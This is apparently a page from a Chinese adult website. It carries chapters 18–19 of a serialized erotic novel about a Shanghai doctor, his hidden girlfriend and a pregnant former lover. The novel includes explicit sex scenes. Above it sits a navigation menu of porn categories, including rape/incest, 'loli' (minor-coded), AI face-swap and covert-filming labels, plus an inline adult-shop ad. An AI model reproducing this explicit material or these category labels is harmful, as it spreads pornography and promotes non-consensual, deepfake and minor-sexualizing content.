精品导航
91网曝
帝王会所
顶级A片
黑料福利
星空入口
必备福利
全球福利
国产情色
老牌导航
狼友福利
黑色360
吃瓜黑料
麻豆福利
姊妹双飞
调教学姐
不良研究所
小嫂嫂
视频一区
AV解说
中文字幕
国产传媒
日本有码
日本无码
欧美极品
素人搭讪
强奸乱伦
视频二区
国产情色
网红黑料
主播直播
三级伦理
AI换脸
抖阴短视频
同性恋
人妖系列
视频三区
动漫精品
制服诱惑
变态调教
国产主播
巨乳美乳
熟女人妻
自拍偷拍
海外明星
视频四区
精选日本
探花视频
网红直播
按摩技师
性感熟女
网爆黑料
白虎萝莉
女优明星
激情图片
卡通漫画
高跟丝袜
角色扮演
欧美激情
亚洲性爱
福利姬
性感身体
唯美写真
情色小说
都市激情
不论恋情
校园情事
玄幻仙侠
另类小说
风俗伦理
长篇连载
校园情事


站长推荐




热门搜索



站长推荐


[都市]我的年轻岁月(全)-9

  

18


平时她睡在我这里,早上起床煮点泡饭,吃大饼油条。饭毕,出门前拥抱长吻一下,恋恋不舍地走出家门,各自上班。下班回家,我买来菜,徐晶也会买点鱼虾带回来,两个人亲昵地在厨房里依偎着做饭。晚饭后,要么看电视,要么出去看电影,或者逛马路,星期六我们或者在床上疯狂一整天,或者去公园,她让我留下了许许多多的照片。

今天翻看着这些影集,那时我们笑得那样甜蜜无邪,徐晶依偎着我,身穿十五块钱从华亭路小摊上买来的T恤,手里撑着十块钱的缩折伞,她眼里的爱浓得化不开,盛不下……

星期天,徐晶总是催我一定要回我父母那里去,我知道我的行为可称为不道德。

每个星期天上午十点,我总是准时出现在家门口,宋岚这时多已经坐在沙发上等我,我父母看见我的出现明显的松了一口气,仿佛放下压在心头的一块大石头。

宋岚望着我父母的举动,那双单纯明亮的眼睛透露出不解和迷惑,这种时候我真希望她敢于向我父母询问为什么我总是不在家住,难题让他们去解释吧,可是不,宋岚从来没有打听过,她见到我总是羞红了脸,目光避开我,看着膝上摊开的书,我注意到每次她看的都是我在大学低年级时用的课本,人体解剖或者生物学之类,这大约是少数她能够看明白的专业书了。

宋岚总是静静地坐在同一个沙发固定的位置,眨着清纯的大眼睛,很少说话,安静地听我父亲回忆他在部队上与宋岚父亲之间的趣事,这些事情我也是第一次听到。父亲比往常活跃,眉飞色舞地比划着,母亲的话也多,时时应和父亲的笑话,逗得宋岚“咯咯”直乐。窗户照射进来的阳光下,宋岚那张清纯的脸泛着少女的红晕,我看着,心里却牵挂着徐晶,她正在我和她幸福的小窝里等我。

徐晶在等待,等待我父母有朝一日会点手叫她过去,让她和我一起坐在饭桌旁,看她小心翼翼地夹起盘子里的菜,有规有矩地细嚼慢咽,徐徐咽下;等待我母亲拉着她的手,抚摸她的秀发,关照她不要给我吃羊肉,吃了羊肉我会肚子痛;等待我的父亲端着架子,当着她的面数落我的种种不是,让她给声色俱厉的父亲划着火点烟,平息他心头的怒气……

我没有告诉徐晶关于宋岚的出现,没有告诉她,现在宋岚每个星期来吃一次午饭,也没有告诉她宋岚现在可以自己到厨房里开冰箱拿牛奶喝,更没有告诉她宋岚在父母留给我的床上睡他娘的午觉,我也绝不敢告诉徐晶,宋岚现在直接叫我老爸老妈“爸爸,妈妈”!

每次我从父母那里回到我和徐晶的小窝,她总是用热切的眼神迎着我,她渴望听我传达来自父母的召见,可是,我一次次让她失望,她明亮的眼睛一次次失落,黯然地低下头默默走开去……

日子一天天过去,徐晶变得沉默了,她躺在我怀里看电视的时候常常出神,在床上的时候,她变得更主动,更疯狂,整晚她一次又一次骑到我身上,忘情地嘶喊,身体激烈地前后摇摆,最后气喘吁吁地倒在我身上抽搐。可是高潮后,她脸上茫然的神色使我隐隐感觉到什么。

春节快到了,宋岚回青岛去放寒假,本来徐晶也想回安徽去看望她父母,我阻止了她,告诉她,我将有一次大行动,给父母点颜色看看。

徐晶为这一天准备了很久。除夕下午,她一狠心,花五百块钱到美容院里做了头发,又修剪了指甲,对着穿衣镜自己精心化了淡妆。

换上了刚花了她三个月薪水从美美百货买来的套装,徐晶展开双臂站在我面前原地转了个圈,脸上的笑容那样灿烂,她握住我的手贴到左胸:“你看你看,我紧张死了,你说,”她把我的手攥得生疼,“你爸爸妈妈会喜欢我吗?会吗?”她急切地问。

“会的,一定会的,”我环抱住她的腰,她的脸仰在我面前,“不管他们喜欢不喜欢,我要让他们知道,我喜欢你,我爱你,我要和你过下半辈子。”

上海的农历新年从来只有热闹,而没有喜庆的气氛。整个城市就像一个新开张的大卖场,喧嚣繁荣,路两旁的商店,用红纸和塑料大炮仗暗示着节日的放纵和奢靡,店员和小老板们脸上傻傻地笑,飞速地鼓动唇舌,说服顾客相信今天是人世间最后的日子。

人行道上挤满了人,手里大包小包,脸上看不到喜色,只是增添了为节日而多余的忙碌和疲惫,马路上的汽车也多,心烦意乱地,东一头西一头乱撞,心急火燎地从一个目的地奔向下一个目的地。

我和徐晶下了车,站在人行道上仰头看着我父母所住的大楼。钢筋水泥建筑矗立在暗灰的天底下,泛着冰冷的光,铅色的阴云一层层卷来,铺满了天空的每一个角落,四下里刮着刺骨的西北风,掀起我们的衣角,寒气直向骨头缝里钻。

徐晶穿着羽绒大衣的身子在我臂弯里发抖,我低头在她耳畔问:“冷吗?”

她点点头:“冷,”她勉强笑了笑,拽紧我的胳膊,“有你在,我就不冷了。”

“走吧,我们上楼去,”我紧紧搂住徐晶哆嗦的身子,“我和你今后五十年的幸福就在今天晚上。”

客厅里灯光通明,枝型吊灯在天花板下放出柔和的黄光,热烘烘的空气里混和着花雕陈酿的甜醉和花生油的烟气。我没有告诉老爸老妈除夕晚上我会带徐晶来。

老妈吃惊地看着我和徐晶并肩站在门口,一时不知说什么,直到我给她介绍了徐晶,老妈才回过神,堆出一点笑让我们进屋。老爸在客厅远处,面对门口坐着,上身只穿一件羊毛背心,脑门油光铮亮,正在电话里高声地应酬谁,猛然抬头看见我和徐晶站在他面前,电话听筒差点从他手里掉下去,他大张着嘴,迷惑地望着我,又看看老妈。

“爸爸,这是徐晶,我的女朋友,我今天带她来给你拜年。”我的心砰砰狂跳,努力控制自己的声调,不要让自己在老爸面前崩溃。

“噢噢,哦……”父亲飞快地恢复了正常神态,挂上电话,“你的女朋友?

好好,叫什么啊?”他脸上的笑容狰狞。

“黄叔叔,我叫徐晶,”徐晶走前半步,上身略略一躬,“黄叔叔新年好。”

“啊哈!哈!哈!好好好,新年好,新年好!”父亲纵声大笑起来,脸上仿佛盛开着一朵花,“来来来,坐下说话。”父亲友好地指着他近前的沙发,徐晶很拘谨地坐下,侧面对着老爸,我坐在她一旁,她的冰凉的手在我手心里握着,微微出汗。

“啊……这个这个,小徐呀,”爸爸开始拉起官腔,“你和我们军军是医院同事啊?”

“不是,我……”徐晶转头看了一眼我苍白的脸,“我和黄军在一个朋友那里认识的,我在安徽的上海分公司工作。”

“哦,那你是做什么工作的呀?”父亲端起茶几上的杯子喝水,目光炯炯地盯着我的脸,我坦然地迎着他的眼神。

“我上海美院毕业后,就在公司做对外宣传和广告的工作。”徐晶镇静得多了,以出乎我意料的平静口气与我父亲对话。

母亲一直坐在我和徐晶的对面,静静地上下打量徐晶,眼光凌厉,一言不发。

我家里,老爸一向是老虎的角色,老妈才是武松,要是没有武松,老虎连自己的内裤放哪儿都不知道。

“哈!哈!哈!哈!”老爸继续打着哈哈,掩饰着内心的恼怒,“小徐你今年多大啦?”

“我二十四岁了。”徐晶脸红了一下,我知道她少报了一岁。

“哦……,那还很年轻嘛,我们军军也就二十六,啊……”老爸沉吟起来,“年轻人,啊,多相处一段时间就会有比较深刻的了解,是吧?”

徐晶使劲点头,我知道我俩己经掉到坑里了。

“我们军军从小就不是个好干粮,整天惹事生非,让我和他妈妈操的那心哟……,嗨!不说啦!”老爸挥了挥手,“以后啊,你们要互相多了解了解,来日方长嘛!啊?!”父亲恶狠狠地瞪着我。

我原来在路上编好的一连串说词,都被硬生生地堵在喉咙口。“来日方长”

四个字,没有说行,也没有说不行,但是在我和徐晶耳朵里却听出两种意味。

徐晶面露喜色,紧紧捉住我的手,“嗯,黄叔叔、林阿姨,以后我会和黄军好好相处的。”

老爸和老妈尽管没有料到我今天突然带徐晶来,但是缓兵之计应该是早已商量妥当的。

我父母又问了徐晶几句关于她父母的情况,各人再找不到话题,讪讪地坐在沙发里。客厅里静悄悄的,只有饭厅那边墙上的挂钟,在暗影里“滴答滴答”地走着。窗外,远近一、二鞭炮发出寂寞的炸响,厨房里,水晶肘子在砂锅里无聊地敲打锅盖。

徐晶两只手紧紧攥住我的胳膊,眼睛无助地望着我,她想挤点笑在脸上,却笑不出来,我只能默默地望着她,讷讷地一言不发。客厅里温暖如春,气氛祥和、肃穆,多说一句都是多余的,我脑子里空空如也,话语都冻结在舌尖,就像一个便秘的人坐在黄金打造的马桶上。

老妈不愧是女人对付女人的高手,几年前她的从容不迫挽救了她和老爸的婚姻。

母亲坐到徐晶的身边,关切地看着徐晶稚嫩的脸,把徐晶的手按在手心里摩挲:“哎哟,小徐呀,侬的手心怎么这样冷的啊?”

徐晶不安地回望我一眼,羞涩地笑着:“还好,我平常都是这样的。”

“哦……,冷的话要多穿点衣服哦,年纪轻轻不要光顾穿衣裳好看,冻坏身体才要紧咧……”

“我知道了,林阿姨。”徐晶低着头小声回答。

我有点疑惑,不知母亲的举动意味什么,又有点安心,至少她们俩没有直接抗拒。

年夜饭很丰盛,水陆并陈,榉木的圆桌铺得满满的。父亲仍旧独自霸占半边桌子,我和母亲还有徐晶缩在他对面。几杯烫热的花雕下肚,老爸兴致高起来,开始有说有笑地给徐晶讲我小时候的调皮捣蛋,以及他至今仍奉为圭臬的“养不教,父之过,教不打,母之错。”

徐晶边听边轻声笑,吃得很少,她很谨慎,眼角不时扫视着我脸上不自在的神情。母亲微笑着,不停给徐晶面前的碟子里夹菜,目光柔和地看着我们年轻的脸,也许勾起了她二、三十年前的回忆。

吃完最后一道八宝饭,坐在沙发上休息,父母对徐晶的关怀态度已经和对宋岚相去不远了,虽然出乎我的意料,但结果总算符合我和徐晶利益。

电视里赵本山和黄宏在声嘶力竭地嚷着东北土话,我和父亲在茶几上下象棋,老爸的技术一如既往地臭,悔棋往往要倒退到五步以前,沙发的另一角,母亲摸着徐晶的围巾观赏她织的花样,一家人在暖洋洋的吊灯光下,各有各的乐趣。

十一点了,事先我和徐晶讲定,一到十点半左右就送她走。我站起身:“爸爸,姆妈,我要送徐晶回去了,太晚的话,和她一起住的两个女孩子会害怕我们敲门的。”徐晶一脸无辜地点头。休息一下 广告时间:论坛声誉保证e趣爱巢成人用品商城!

“回去?哦,”老妈眼里闪过一丝不快,她当然不愿意万家守岁之夜,自己的儿子不能睡在自己的家里,“侬送小徐回去再回来吗?”

“唔……不了,”我犹豫了一下,想到回去还要和徐晶商量进一步的行动,“十一点多了,我再来来去去的话要过十二点了,明天我和徐晶再一起来。”

“好吧,明朝要来哦……”母亲无可奈何地答应了,脸上淡淡地笑,她意识到,过了今晚,儿子将不再属于她一个人了。

“林阿姨,明天我和黄军再来。”徐晶怯生生地说,她也察觉到这是关键时刻。

“走吧,明朝来……”母亲声调黯哑地说。

“走吧!明天早点来!小徐,啊!”老爸在沙发上挺着肚子,中气十足,眼睛仍看着电视里的小丑巩汉林。

坐车回家的路上,徐晶兴奋得浑身发抖,身子紧紧贴住我,脸上尽是傻傻的笑。我受了她的感染,搂住她:“好啦!老婆,总算过关啦!”

“嗯!老公,我日思夜想的就是今天!总算过来了,过来了!”徐晶抱着我的胳膊,忘形地摇晃。

在车上一摇晃,黄酒的威力发挥得淋漓尽致。一进家门,我就倒在床上呼呼大喘,嘴里一口口喷着酸气。徐晶给我拧了热毛巾捂脸,扶我起来喝了热水,我呆乎乎地坐在床沿上,享受着女人的细心体贴。

被窝里,洗去脂粉的徐晶用滚烫的身子焐热我,柔软的小手握住我迟钝的阴茎。

她爬上来,下颌抵在我胸前,深情的眼神刺得我好痛,她弓起腰,扶着我的家伙纳入她的阴道。

“老公,老公,老公,我们就要做夫妻了,是吗?”徐晶连声问我,用手抚摸着我的脸,腰慢慢地前后摆动。

“老婆,在我心里你早就是我妻子了。”我喘着粗气,撩开她垂下的长发,捧住她的面庞说。

“不是,”她嘟起嘴,避开我喷出的浓重酒气,脸上仍漾满幸福的笑,“要你家里承认我,我才能真正做你的老婆。”

“我爸爸妈妈今天对你蛮好吧。”我笑着把她饱满的下唇含在嘴里,用牙轻轻地咬。

“嗯,”她笑得更甜了,停止腰部动作,“我没想到你爸爸妈妈对我这样客气,不像你原来给我讲的那样严肃嘛……”

我不出声地笑,想起刚才父母对徐晶的态度从凉到热,仍然隐隐有些忐忑不安。

窗外突然响成一片,远远近近“劈劈啪啪”,夹杂着高升炮竹间断的轰鸣,啊……!新年伊始,春来了。

徐晶转头向窗外望了一阵,收回目光看着我迎向她的眼睛,她笑了,笑容里带着鼓励和默许,我猛地把她抱在胸前,翻身压住她,用尽全力把阴茎插进她的深处,“哦!好!来呀!”徐晶惊叫一声,抬高腹部迎合我……

……一九九七年除夕子正,两具年轻的身体喘着粗气,喊着对方的名字,在“吱哑”作响的床上翻腾、撕杀……

片刻之后,激情退却,我和徐晶依偎着大口喘息,汗湿淋漓的身体下面是一大片溽湿黏滑的床单,被窝里冒出股股腥酸的气味。

************

整个新年黄金周,我和徐晶没有外出去旅游,每天的时间都在我父母家中渡过,我老爸老妈的态度始终是有节制的热情,徐晶大大咧咧地不当回事儿,我看在眼里,却惴惴地放不下心。

春节七天长假很快过去,又到了按钟点上班的日子。

正月十五,今天是元宵节,上班出门前,和徐晶约定晚上回来我买点鱼虾,两人好好过一个年节尾巴。妈妈昨天白天趁我和徐晶不在家的时候来过一趟,在冰箱里放了一饭盒的汤团,临走前在冰箱门上贴了一张字条,告诉我元宵节不用回新家去过,因为父亲局里有什么联谊活动,父母都要去出席。

看了母亲的留言,我笑了笑,公家请吃未必是假的,父亲对这种公款吃喝原则上是厌恶居多,但不能别人给脸不要脸;深层原因是老爸老妈不想让徐晶和宋岚同时出现。

科室里大家还没有从新春狂欢中清醒过来,每个人脸上都是一副茫茫然的样子,病历之类的文书工作向来是小住院的责任,几个上级主治凑在一起交头接耳地谈着来年买辆家庭汽车的梦想。——他们的收入比我和师兄好得多,各种外快和分红加在一起每月有过万之谱,我连换辆变速山地车都要考虑再三,年假时,我和徐晶逛街时看见商店里新来的普加奇十八速山地车,一千多,咬了几次牙,可一搂住自己身旁的女人,隐约感到肩上有了家庭的担子,只得扭头悻悻走开。

我闷着头伏在桌上疾疾地涂写,师兄王兵在他的桌子上忙着他那一堆。

这小子春节前十几天结了婚,老婆是本院内科的医生,有着上海女人少见的肥硕健壮,丈人是市卫生局一个处级干部。

从王兵宣布婚期那天开始,他在科里的行情一泻千丈;从王兵确实结婚那天开始,他的面色就一天青似一天。上级医生查房的时候昏昏沉沉,时常靠着墙壁打瞌睡,在小办公室里也是整天唉声叹气,案头的《黄家驷》积了一层灰,他也懒得去理,空闲下来就仰在沙发里,对着天花板长吁短叹。

我忙乎了一个上午,把几日慵懒沉淀下来的功课补齐了。我把病历夹放回护士办公室,慢慢走回自己房间。

忽然,主任的办公室房门“吱哑”一声打开了,走出一位四五十岁的中年妇女,她见到我怔了怔,我认出她是在千岛湖出现过的姜敏的同事。

“哎,侬好。”我习惯地点点头,算是打声招呼。

她也认出是我,有点不自然地笑笑:“侬是黄军哦……,好,侬好,长远不见啰……”她低下头想走开。

我叫住她:“哎……请问,我还不晓得怎么称呼侬?”

“哦,”她停住脚步,“我姓刘。”

“哦哦,刘医生,我想问侬……”我看了下四周,没有人注意我,“姜敏怎么不来啦?以前是伊来联系我们科室的嘛?”

“啊?姜敏?哦?嗯……”她忽地惊慌起来,眨巴着眼睛迅速地瞥着周围,“姜敏伊和我调了分区,现在伊不负责这片地区了。”

“哦……,”我失望地看着刘,“伊不来了?”我朝她笑笑,“那么没啥事情了,再会。”

我正要走开,她迟疑地叫了我一声:“黄医生,侬……”我看着她站在原地没有走的意思,便回到她对面站定等她讲下去。

“黄医生,侬想寻姜敏啊?”刘又低头沉思片刻,终于抬起头,好象下了很大的决心,“黄医生,侬和姜敏的事情我晓得的,”她看着我的眼睛,右手按在我的肩上,“姜敏都告诉我了,伊现在心情很矛盾的……”她看了看擦身走过的护士,欲言又止。

我看见师兄无精打采地开门走出来,便拉着刘血贩子走进我办公室,锁死门,把她按在沙发上,急急地问:“姜敏伊现在矛盾啥?伊为啥这样对我?”

刘的眼圈红了,眼泪一下子涌出来:“姜敏没看错人,黄医生,我看得出,侬是好人,侬不是存心占伊便宜的男人……”她用手绢捂住嘴,呜呜地哭着,“姜敏可怜啊……,年纪轻轻嫁了个那样的王八蛋呀……”

我背脊上起了层冷汗,使劲抓住刘的手,“侬快点讲呀,到底姜敏是怎么回事?”

她仍哀哀地哭着,擦了擦眼泪,“好!我告诉侬,黄医生!姜敏身上有了,六个月了,是侬的!她的老公,就是那个姓许的,他是同性恋!”

我的脑袋“嗡”地响了,房间里的家俱在我眼前旋转起来。

一切的谜底都揭穿了!

姜敏在床上说的“恨不相逢未嫁时”,我们宿舍对许主席身上那种绰约风韵的不满,以及姜敏在野外小砖房里,投入我怀抱时脸上刚毅决然的神情,还有在酒店客房厕所我见到的卫生棉,这一切都有了答案。

我瘫在沙发靠背上,耳朵里“轰轰……”,像有几十支电钻开足马力冲击我的耳膜,刘的嘴唇在我眼前快速地上下掀动,我却听不见一个字。

我挣扎起来,抓紧她的手腕,问:“那么姜敏为啥不离开姓许的?伊还年轻,刚刚二十九岁呀!”

刘的眼泪又涌了出来:“唉!姜敏要面子啊!侬也晓得伊在大学谈过几次恋爱的,伊最后自家挑的姓许的,侬……”

她说不下去了,捂住嘴不出声地哭着,停了一会儿,才接下去,“侬叫伊哪能向人家讲?再讲,姓许的倒是肯离婚,他恨不得姜敏早点跑开,讲起来夫妻感情破裂,责任不在他身上,自己好去公开戳屁眼,但姜敏家里人不肯吃哑巴亏,姜敏的阿弟,长得五大三粗的,三日两头去找姓许的晦气,见面就打姓许的一顿,但是打过了,连伊阿弟都不肯姜敏离婚,侬讲讲看,这是啥个世道?”

“那么姜敏为啥要作贱自己呢?伊如果肚子里没有,不是更方便为以后打算吗?”

“唉!你们男人哪里懂得女人心思啊,姜敏就是吞不下这口气,伊是想报复一下姓许的,给他一点颜色看看,但是伊到今朝也没有忘记侬啊!姜敏偷偷跟我讲你们之间的事,一提到侬伊就哭,唉……”刘医生拍着我手,脸上老泪纵横。

“刘医生,我想看看姜敏,我这里没有伊的联系方法,侬可以帮我这个忙吗?”

她踌躇了一下,望着我:“黄医生,我不晓得伊想不想见侬,我现在回血站里去看看,问问伊再讲,好伐?”

“好的,好的,”我从上衣口袋里掏出一张处方纸,写了几行字,“麻烦侬转交给她,我今朝下班后在襄阳公园旁边的天鹅阁等伊。”

刘默默地接过纸条,放进口袋里,一路叹息着走了出去。

我坐在自己的办公椅里,眼泪止不住地流淌,千岛湖十日的恩爱又回到眼前,好象仅仅是昨天的事。

拖过了心神不宁的下午,我的耳朵一直留神桌上的电话,铃声一响,我就飞扑过去抄起听筒,但是一次次的失望,姜敏始终没有来过电话。

下班了,我脱下白大褂,顾不上和别人打声招呼,径直走出医院。来到街上想起约好徐晶等我回去吃元宵,我在公用电话亭打了电话给她公司,告诉她今天晚上医院有事情留我,可能很晚回家,让她一个人先吃饭。徐晶在电话里很失望,闷闷不乐地答应了我,关照我早点吃晚饭再做事情。

我放下话筒,不由得想到,这是我第二次对徐晶撒谎,为了另一个女人;上一次是在初识不久,我不愿她去孙东那里玩,那次是为了我和她两个人。

二月底的上海街头,依然春寒料峭,西北风不时撩起我额上的头发,插在口袋里的两手十指冻得发木。人行道上,一对对刚下班的青年男女互相搂抱着,嘻嘻哈哈地从我身旁走过,我站在路边,望着来来去去的陌生人群,忽然觉得自己与他们的距离很远,仿佛我正站在云端俯视云云苍生,他们的世界与我很遥远。

我紧了紧身上的大衣,迈步向约会地点走去。

天鹅阁是个小西餐馆,地处闹市,但门面小得可以,行人走过都不会想到这是一家六、七十年历史的俄式饭馆。在大学时期,听说这家西餐馆是我们学校小布尔乔亚阶层聚会必选之地,我慕名单独来过几次,很喜欢这里的炸子鸡和乡下浓汤,食物份量充足,价码不高,适合我们这些胃口比钱包大的穷学生。

店堂里仍像以前那样昏暗,有客人的桌上亮着小小的台灯,黄色灯罩散发出暖昧的味道,分散在四处角落,还是学生多,不时大声笑闹一番,天花板夹层的音响里,黯哑的蔡琴唱着《读你》:

读你千遍也不厌倦,

读你的感觉像春天,

喜悦的经典,美丽的句点,

哦……呵……

你的眉目之间,锁着我的爱恋,

你的唇齿之间,流着我的誓言,

你的一举一动,左右我的视线,

…………

读你千遍……也不厌倦……

读你……

我坐在靠里的火车座里,随着蔡琴一起低唱,心底翻腾着姜敏的一幕幕往事,桌上一杯黑咖啡里热汽妖娆升腾,在我眼前幻化成姜敏在表演时展现的曼妙身姿,我手边放着刚买的几盒西洋参片,准备送给姜敏,——她身上怀着我的骨肉。

幽暗的半空中猛然浮现出姜敏的脸,吓了我一跳。她穿着黑色的裘皮大衣,包着配色的丝绒头巾,只露出苍白的面孔。

我慌忙站起来帮她脱下大衣和头巾,侍应殷勤地折叠好衣物放在一旁。姜敏比那时胖了,下巴圆润了些,胸前两只乳房饱满地向前突出,赘赘地下垂,小腹明显地膨起,鼓鼓的,那里面睡着我和她的孩子。

姜敏发现我出神地看着她鼓出的腹部,幸福地笑了,爱怜地用手按了按,“快六个月了,比我原先想的要大,将来也会像你一样是个大块头。”

我苦涩地笑,和她一起坐下,我呆呆地看着姜敏。分别近半年了,她头发剪了,短发整齐地向后梳去,紧紧地抿在耳朵后面,眼神仍是那样清澈,直勾勾地望着我。

我心头有千言万语要向她倾诉,我想责怪她为什么想用这个办法报复姓许的,那人根本不爱她,他爱的是男人,他对姜敏只会冷漠地耸耸肩;我想对姜敏讲,她正谋杀自己的青春,把自己的岁月消耗于一场永远没有对手的战争里;我想请求她,将来孩子出世的时候,让孩子跟我的姓,可是最终我什么也没有说,只是和她无言以对,默默地坐着。

我拉起她柔软的手握在手心里,她的手还是那么娇嫩,手指仍然颀长秀气,我的眼泪忽然涌出来,滴在她摊开的手心里,姜敏用手使劲捂住嘴,眼睛红红的,接过我递给她的纸巾使劲擦着两眼。

“黄军,黄军,呜……”姜敏一面擦着不停涌出的泪水,一面哑着嗓子说:“这是命,是我命不好,我看错了人……,呜……”她哭得说不下去。

我坐到她旁边,搂住她的肩膀,姜敏顺势扑在我怀里“呜呜”地哭,旁边的客人们都转脸看着我们,我一面轻轻拍打姜敏的后背,一面笑着向他们挥了挥手,眼泪却不争气地夺眶而出。

我和她抱成一团在座位里哭了一会儿,姜敏渐渐平静下来,用我的手绢擦干眼泪,擤了擤鼻子,我也坐回她对面的卡座上。

我们点了炸子鸡和罗宋汤,头盘是火腿土豆色拉,姜敏的胃口很好,闷着头大口大口地吃着,狼吞虎咽,我招手让侍应过来,又多点了一道牛腰肉烩面。

姜敏听见我和服务员的话,笑着抬头看我,等人走远才“呵呵呵”地笑,压低了声音说:“侬还记得我欢喜吃面?”

我笑着点点头:“哈哈,在酒店里的时候,侬每天早上都叫我出去买面来吃,我记得的。”

姜敏愣愣地看了我一会儿,神情黯然地看着盘里的食物,用叉拨弄几片鸡肉,一言不发。我猜她又因为我的话伤感起来,赶紧把话题岔开。

“侬现在胃口蛮好的,我看得出,人也胖点了。”我看着她,用手指在下巴比划出一道弧线。

她笑了,很甜,用手抚着肚子:“侬晓得伐?这个孩子在里面多么能吃啊!

我现在每顿饭量比老早多一倍,平常还吃零食,但不到吃饭时间肚子就饿了,呵呵!”她望着我笑,“我吃进去的饭都给伊吃掉了,呵呵呵!我猜是个男的,像侬一样吃得多……”

我忽然想起问她:“侬现在还住在姓许的家里?侬现在这个样子他会照顾侬吗?”

姜敏轻蔑地哼了一声:“哼!他照顾我?我现在马路上被汽车轧死他都不会看我一眼,我现在住到我姆妈家里,姓许的那里,我等到养好小孩才回去搬家俱,”她忽然扔下刀叉,伸手按住我的手背,“小孩要有户口的,所以我要等到生好了才离开他。”

我望着她:“侬为什么一定要生个孩子呢?侬还年轻啊,有个孩子侬将来怎么走下去呢?侬想过吗?”

姜敏往椅背上重重一靠,仰天长出一口气:“唉……,我还会再嫁人吗?我今年二十九岁了,黄军,”她凄惨地笑,笑得我心痛,“我二十九岁了,恋爱谈过了,老公也嫁过了,婚纱也披过了,丈夫的婚外恋也经历了,到头来我的爱情输给了一个男人,嘿嘿嘿嘿……”她笑得欲哭无泪,“黄军,侬放心吧,孩子我自己来养,我不会来找侬的,真的,相信我……”

我忍住泪,使劲点头,“我晓得,我晓得,我宁愿侬肯来找我……”我的话哽在喉咙里,说不下去了。

新的菜来了,打断了我和她的交谈,在昏暗的灯光下,我和我孩子的妈妈享受着宁静的晚餐。







19

我一边慢慢地吃着自己盘子里的烩面条,一边怪有趣地看着姜敏大口大口地吃得很香甜,只有长年坚持体育运动的女人才会有这样旺盛的食欲,我用刀叉捡起几大片牛肉送到她盘里,鼓励她:“来,多吃一点,为了侬自家的身体,也为了孩子。”

姜敏笑着,并不推辞,快手快脚地切碎牛肉拌进面里,用叉子卷起来送进嘴里大嚼,酱汁在她嘴边糊了一圈,我掏出纸巾给她擦,她不好意思地呵呵笑着:“我吃相不好看是吧?呵呵!我从小到大不知道给我爸妈讲过多少次了,就是改不了。”

“哎,我想起来了,侬爸爸身体还好吗?”——姜敏的父亲是我们学校组胚教研室教授,高瘦的个子,佝偻着背,戴副极深度数的眼镜,得益于姜教授的谆谆教导,我组胚学考到九十六分的历史高分。

“嗯,还可以,大概明年就退休了,你还记得我爸爸?”姜敏有点奇怪地问我。

“所有基础课里,我唯一考到九十分以上的就是组胚了,你爸爸真是个好老师,现在的大学里不多了。”我莫名地有些伤感,眼前又闪过大学时的姜敏穿着连衣裙,面容清瘦,腰带束得紧紧的,挽着教授在校园里散步的情景,一回忆起这些,我的心又抽了一抽,有点疼。

“哪你为什么不考研?”姜敏边吃边问。

我苦笑着摇摇头,“我爱学问,可是更爱钱,考研的话,比如做你爸爸的研究生,那我这一辈子都要执教鞭为业了,学校里的生活太清苦,我熬不住的。”

姜敏点头表示同意,我又问她,“你爸爸还住在原来的小洋楼里?”

“嗯,老地方,我们家住了几十年了,”姜敏停下刀叉,盯住我,“你先不要去,我家里人不知道是你的,我没跟他们讲过……”

“那……,我以后可以去看你吗?还有孩子?”我试探着问。

她低下头,半晌抬起脸来,眼里噙着泪花:“以后吧……,你想去就去看看也好,孩子总有一半是你的……”姜敏捂住嘴,眼泪哗哗地流下来。

我安慰她:“别哭啦,别哭啦,对身体不好,再哭下去,五羟色胺会升高的。”

她“噗”地一声笑出来,擦干眼泪止住哭泣:“好啦好啦,不哭了,我还以为我的眼泪在三年前就流干了呢,直到遇见你,我才知道世上还有男人值得我掉眼泪。”

我让侍应收走了盘子刀叉,送来了咖啡,姜敏要了一碟冰淇淋,用小勺慢慢地挖着吃。

“有女朋友了?”她飞快地看我一眼,又垂下眼帘小心地挖起一勺。

“爸爸妈妈大概有意思介绍熟人给我,我看了都头疼,还是学生呢……”我决定不告诉她徐晶的事。

“漂亮吗?”她若无其事地问,小勺动得很慢。

我摇摇头:“还是小女孩哪,一脸毛茸茸的,真是黄毛丫头,谈不上漂不漂亮。”

姜敏被我逗乐了,笑了一会儿,平静下来,继续吃她的冷饮,我端着咖啡杯发呆。忽然她用腿碰我一下,“今天晚上想你陪我,肯吗?”她目无表情地说,眼睛仍看着碟子里的残余。

我的心急速地跳着,我把咖啡杯举到嘴边:“我求之不得哪……”

************

城市酒店,座落于陕西南路口,上个世纪八十年代中期建成后,作为中日合资酒店很是风光过一阵,可是随后周围的宾馆如雨后春笋般次第崛起,城市酒店也就失色了不少。

张浩在这里做酒店的大堂经理,上一次他父亲心脏病发,急救车竟送进我的医院里,至今我仍不明白司机为何要舍近求远。

老天有眼,幸亏我让他送院早,在急症室的心电图机上正好看到S-T段逐渐升高,医生惊叫一声,立即送到CCU,后来张浩找到我,带着他在内科病房和急诊室走亲访友,说了不少好话,陪了不少笑脸,他才算放心。老爷子在病床上躺了两个月,好了!张浩到我办公室里千恩万谢,除了送来两瓶人头马,还塞给我一把酒店的半价优惠券,我随便往钱包里一夹,没想到今天用上了。

一脸稚气的女服务员把我和姜敏领进了房间,一路上,她好奇地眼光一直打量姜敏大衣下面微微隆起的腹部,唉……,涉世未深的小姑娘,她哪里知道人间有这么多意料之外、情理之中的故事!

刚才在楼下大堂里撞见张浩,他吃惊地瞪大双眼看着我和姜敏走近,随即镇定下来,冲我不易察觉地点一点头,扭过脸去装作不认识,大概这小子以后在同学聚会时有了谈资笑料了。

我锁好门,扣上链子。姜敏拉上窗帘,“把灯关掉。”她命令我,我熄了房间里的灯,只留下床头墙壁上一盏小黄灯。

姜敏伸出双臂向我走来,一下扑到我怀里,胳膊勾住我脖子,疯了似地在我脸上吻着、伸出舌头舔我的面颊,她让体内久抑的热情爆发开来,哆嗦着手指解开我的衣扣和腰带,嘴里不停催促我:“快点!快点!帮我脱掉!”

我褪去她的大衣抛在地毯上,帮她脱掉羊毛衫,又解开她黑呢裙子后腰的拉锁,让她扶着我的肩从脚上套出来,最后,姜敏只留着上身单薄的针织内衣,两腿仍裹着黑色的闪光丝袜。姜敏穿着外衣的时候,小腹隆起得不太明显,现在脱去外衣,膨胀的腹部衬托得她小巧的身子更显得弱小。

姜敏笑着推开我的手,不让我抚摸她的肚子,坐到床沿上费力地跷起脚,想自己脱下丝袜,我赶忙上前拨开她胡乱摸索的手,很轻巧地帮她捋下来,姜敏笑着说:“呵呵,还是有个男人服侍的好。”

